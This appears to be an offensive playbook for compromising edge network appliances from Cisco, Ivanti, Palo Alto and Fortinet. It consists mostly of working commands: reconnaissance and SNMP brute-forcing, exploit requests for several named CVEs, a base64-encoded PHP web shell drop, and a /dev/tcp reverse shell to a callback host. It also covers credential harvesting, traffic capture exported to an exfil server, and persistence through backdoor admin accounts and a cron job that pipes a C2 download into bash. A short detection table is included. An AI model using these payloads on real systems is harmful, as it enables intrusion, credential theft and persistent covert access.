purpleailab Edge Device Exploitation
Exploits perimeter network appliances — routers, firewalls, VPN concentrators, and management platforms. These devices sit at trust boundaries, run stripped-down OS variants, and are rarely patched. A compromised edge device yields traffic interception, credential harvesting, lateral pivot into the internal network, and persistent access below endpoint detection.
Quick Reference
# Discover edge devices — Shodan
curl -s "https://api.shodan.io/shodan/host/search?key=<SHODAN_KEY>&query=org:<TARGET_ORG>+product:cisco" | jq '.matches[] | {ip:.ip_str, port:.port, product:.product}'
# Nmap service fingerprint on perimeter
nmap -sV -sC -p 443,8443,10443,4443,8080,161 --script=http-title,ssl-cert,snmp-info <TARGET_RANGE> -oA edge_scan
# SNMP community string brute
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <TARGET>
# SNMP walk full config tree
snmpwalk -v2c -c <COMMUNITY> <TARGET> .1.3.6.1 > snmpwalk_full.txt
# Check Cisco IOS XE web UI (CVE-2023-20198 indicator)
curl -sk "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" -o cisco_webui_probe.txt
# Check PAN-OS GlobalProtect (CVE-2024-3400 indicator)
curl -sk "https://<TARGET>/global-protect/portal/css/login.css" -w '%{http_code}' -o /dev/null
# Ivanti Connect Secure version check
curl -sk "https://<TARGET>/dana-na/auth/url_default/welcome.cgi" -o ivanti_version.txt
MITRE ATT&CK Mapping
| Technique | ID | Application |
|---|---|---|
| Exploit Public-Facing Application | T1190 | CVE exploitation against web UI / VPN portal |
| External Remote Services | T1133 | Abuse VPN/SSL-VPN/management interfaces post-compromise |
| Data from Configuration Repository | T1602 | Extract running-config, startup-config, SNMP MIBs |
| Network Sniffing | T1040 | Packet capture on compromised device |
| Modify System Image | T1601 | Implant in device firmware/OS image |
1. Identifying Edge Devices
External Reconnaissance
# Shodan bulk search by org
shodan search "org:<TARGET_ORG>" --fields ip_str,port,product,os --separator , > shodan_edge.csv
# Censys for Fortinet devices
curl -s "https://search.censys.io/api/v2/hosts/search" \
-H "Authorization: Basic <CENSYS_KEY>" \
-d '{"q":"services.software.product:FortiOS AND autonomous_system.name:<TARGET_ORG>","per_page":50}' | jq '.result.hits[]'
# Certificate transparency for management hostnames
curl -s "https://crt.sh/?q=%25.<TARGET_DOMAIN>&output=json" | jq -r '.[].name_value' | sort -u | grep -iE 'vpn|fw|gw|edge|palo|forti|pulse|asa'
Fingerprinting
# HTTP header fingerprinting
curl -skI "https://<TARGET>" | grep -iE 'server:|x-frame|set-cookie|location'
# SSL cert org/CN extraction
echo | openssl s_client -connect <TARGET>:443 2>/dev/null | openssl x509 -noout -subject -issuer
# Nmap NSE scripts for specific vendors
nmap -p 443 --script http-cisco-anyconnect,ssl-cert <TARGET>
2. CVE Exploitation Chains
CVE-2023-20198 — Cisco IOS XE Web UI Privilege Escalation (CVSS 10.0)
Unauthenticated attacker creates a privileged local account via the web UI.
# Step 1: Verify web UI is accessible
curl -sk "https://<TARGET>/webui" -w '%{http_code}\n' -o /dev/null
# Step 2: Create implant account (the exploit request)
curl -sk -X POST "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" \
-H "Authorization: 0ff4fbf0ecffa77ce8d3852a4571" \
-d '{"cisco-IOS-XE-native:username": {"name":"<IMPLANT_USER>","privilege":15,"password":{"type":"0","secret":"<IMPLANT_PASS>"}}}'
# Step 3: Access via SSH with implant account
sshpass -p '<IMPLANT_PASS>' ssh <IMPLANT_USER>@<TARGET> "show running-config"
# Step 4: Check for existing implant (IOC detection)
curl -sk "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" | grep -q "implant" && echo "IMPLANT DETECTED"
# Metasploit module
msfconsole -q -x "use exploit/linux/http/cisco_ios_xe_webui_privesc; set RHOSTS <TARGET>; set LHOST <CALLBACK>; run"
CVE-2024-21887 — Ivanti Connect Secure Command Injection (CVSS 9.1)
Chained with CVE-2023-46805 (auth bypass) for unauthenticated RCE.
# Step 1: Auth bypass (CVE-2023-46805) — path traversal
curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/system-information" \
-H "Content-Type: application/json" -o ivanti_sysinfo.json
# Step 2: Command injection via REST API
curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection" \
-H "Content-Type: application/json" \
-d '{"type":"1","txtGCPProject":"/api/v1/totp/user-backup-code/../../license/keys-status/$(id > /tmp/pwned.txt)"}'
# Step 3: Read output
curl -sk "https://<TARGET>/dana-cached/hc/HostCheckerInstaller.osx" --path-as-is
# Integrity Checker Tool (ICT) evasion — attackers modify ICT itself
# Post-exploit: drop web shell
curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection" \
-d '{"type":"1","txtGCPProject":"/$(cp /home/webserver/htdocs/dana-na/auth/compcheckresult.cgi /tmp/bak && echo PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg== | base64 -d > /home/webserver/htdocs/dana-na/auth/compcheckresult.cgi)"}'
CVE-2024-3400 — Palo Alto PAN-OS GlobalProtect Command Injection (CVSS 10.0)
Unauthenticated OS command injection via GlobalProtect gateway.
# Step 1: Confirm GlobalProtect is exposed
curl -sk "https://<TARGET>/global-protect/login.esp" -w '%{http_code}' -o /dev/null
# Step 2: Exploit — inject via SESSID cookie
curl -sk "https://<TARGET>/ssl-vpn/hipreport.esp" \
-H "Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/aaa\`id>/var/appweb/sslvpndocs/global-protect/portal/cmd.txt\`" \
-d "Content-Type=application/x-www-form-urlencoded"
# Step 3: Retrieve command output
curl -sk "https://<TARGET>/global-protect/portal/cmd.txt"
# Step 4: Reverse shell
PAYLOAD="bash -i >& /dev/tcp/<CALLBACK>/4444 0>&1"
ENCODED=$(echo -n "$PAYLOAD" | base64)
curl -sk "https://<TARGET>/ssl-vpn/hipreport.esp" \
-H "Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/aaa\`echo ${ENCODED}|base64 -d|bash\`"
CVE-2024-47575 — FortiManager Unauthenticated RCE (CVSS 9.8)
Missing authentication in FortiManager fgfmd daemon allows arbitrary code execution.
# Step 1: Confirm FortiManager FGFM service (port 541)
nmap -p 541 -sV <TARGET>
# Step 2: Exploit via FGFM protocol — register rogue FortiGate
# This requires crafting a FGFM registration request
python3 -c "
import socket, ssl
s = socket.socket()
s = ssl.wrap_socket(s)
s.connect(('<TARGET>', 541))
# Rogue FortiGate registration payload
payload = b'\\x00\\x01' + b'A'*256 # Simplified — real exploit crafts valid FGFM handshake
s.send(payload)
print(s.recv(4096))
"
# Step 3: Post-exploit — extract managed device configs
# FortiManager stores all managed FortiGate configs
find /var/lib/fortimanager/ -name "*.conf" -exec cp {} /tmp/exfil/ \;
# Step 4: Extract credentials from FortiManager DB
sqlite3 /var/lib/fortimanager/fortimanager.db "SELECT name,passwd FROM device" 2>/dev/null
3. Post-Exploitation on Network Devices
Config Extraction
# Cisco IOS — dump running config via SSH
sshpass -p '<PASSWORD>' ssh <USER>@<TARGET> "show running-config" > cisco_running.conf
sshpass -p '<PASSWORD>' ssh <USER>@<TARGET> "show startup-config" > cisco_startup.conf
# Extract credentials from Cisco config
grep -iE 'password|secret|key|community' cisco_running.conf
# SNMP full config pull (Cisco)
snmpset -v2c -c <RW_COMMUNITY> <TARGET> 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \
1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a <TFTP_SERVER> \
1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s "config.txt" \
1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1
# FortiGate — backup config via API
curl -sk "https://<TARGET>/api/v2/monitor/system/config/backup?scope=global" \
-H "Authorization: Bearer <API_TOKEN>" -o fortigate_backup.conf
# Palo Alto — export config via API
curl -sk "https://<TARGET>/api/?type=export&category=configuration&key=<API_KEY>" -o panos_config.xml
Credential Harvesting
# Cisco Type 7 password decode
python3 -c "
import sys
xlat = [0x64,0x73,0x66,0x64,0x3b,0x6b,0x66,0x6f,0x41,0x2c,0x2e,0x69,0x79,0x65,0x77,0x72,0x6b,0x6c,0x64,0x4a,0x4b,0x44,0x48,0x53,0x55,0x42]
enc = sys.argv[1]
seed = int(enc[:2])
clear = ''.join(chr(int(enc[i:i+2],16) ^ xlat[(seed + (i-2)//2) % len(xlat)]) for i in range(2, len(enc), 2))
print(clear)
" '<TYPE7_HASH>'
# Extract VPN user databases
# Ivanti — /data/runtime/mtmp/system
cat /data/runtime/mtmp/system | strings | grep -iE 'user|pass|realm'
# PAN-OS — GlobalProtect user DB
grep -r "username\|password" /opt/pancfg/mgmt/saved-configs/
Traffic Interception
# Cisco — embedded packet capture
ssh <USER>@<TARGET> << 'CISCO'
monitor capture CAP interface GigabitEthernet0/0 both
monitor capture CAP match ipv4 any any
monitor capture CAP start
! wait, then:
monitor capture CAP stop
monitor capture CAP export tftp://<EXFIL_SERVER>/capture.pcap
CISCO
# PAN-OS — packet capture via CLI
ssh admin@<TARGET> "debug dataplane packet-diag set capture stage firewall file cap.pcap"
ssh admin@<TARGET> "debug dataplane packet-diag set capture on"
4. Implant Deployment
# Cisco IOS — persistent backdoor via EEM applet
ssh <USER>@<TARGET> << 'CISCO'
conf t
event manager applet BACKDOOR
event timer watchdog time 3600
action 1.0 cli command "enable"
action 2.0 cli command "conf t"
action 3.0 cli command "username backdoor privilege 15 secret 0 <IMPLANT_PASS>"
action 4.0 cli command "end"
end
write memory
CISCO
# PAN-OS — cron-based persistence
ssh admin@<TARGET> "echo '*/30 * * * * curl -sk https://<C2>/beacon|bash' >> /etc/cron.d/pan_task"
# FortiGate — persistent admin via CLI
ssh admin@<TARGET> << 'FORTI'
config system admin
edit "support_tech"
set accprofile "super_admin"
set password "<IMPLANT_PASS>"
next
end
FORTI
Tools & Resources
| Tool | Purpose |
|---|---|
| Shodan / Censys | Edge device discovery and fingerprinting |
| Nmap + NSE | Port scanning and service identification |
| Metasploit | CVE exploit modules for Cisco, Palo Alto, Fortinet |
| onesixtyone | SNMP community string bruteforce |
| snmpwalk / snmpset | SNMP enumeration and config extraction |
| Nuclei | Bulk CVE scanning templates for edge devices |
| sshpass | Scripted SSH access for post-exploitation |
Detection Signatures
| Indicator | Detection Method |
|---|---|
| Unexpected admin accounts on appliances | Periodic config diff / SIEM baseline |
CVE-2023-20198 IOC: /webui/logoutconfirm.html access |
Web proxy / IDS signature |
| CVE-2024-3400 IOC: SESSID with path traversal | WAF rule on cookie content |
| SNMP community string bruteforce | IDS alert on SNMP GetRequest bursts |
| FGFM rogue device registration | FortiManager event log for unknown serial |
| EEM applet creation | Cisco syslog for %HA_EM-6-LOG events |
| Unusual TFTP/SCP from network devices | NetFlow analysis for device-to-external transfers |
Error Handling & Edge Cases
- Web UI disabled: Fall back to SNMP or SSH-based exploitation; many CVEs target web management specifically
- Device behind NAT: Use Shodan historical data; pivot through VPN tunnel if partial access exists
- SNMP v3 only: Requires credentials; attempt default
authPrivcredentials before brute-force - Patched device: Check for incomplete patches; Ivanti ICT bypass was common post-patch
- HA cluster: Exploit may need to target both primary and standby nodes
- Firmware integrity checks: Some vendors verify image signatures; implant deployment may require modifying the verification routine
Decision Gate
IF edge device discovered with web UI exposed:
→ Check CVE applicability by version fingerprint
→ Attempt highest-CVSS CVE first (typically auth bypass + RCE chain)
→ On success: extract config, harvest creds, assess implant viability
→ Pivot to internal network via device's trusted interfaces
IF only SNMP accessible:
→ Attempt community string brute → config extraction → credential harvest
→ Use extracted creds for SSH/console access
IF fully patched:
→ Attempt default/weak credentials on management interfaces
→ Check for misconfigured ACLs allowing management access from untrusted zones
→ Document as hardened perimeter; pivot to other attack surface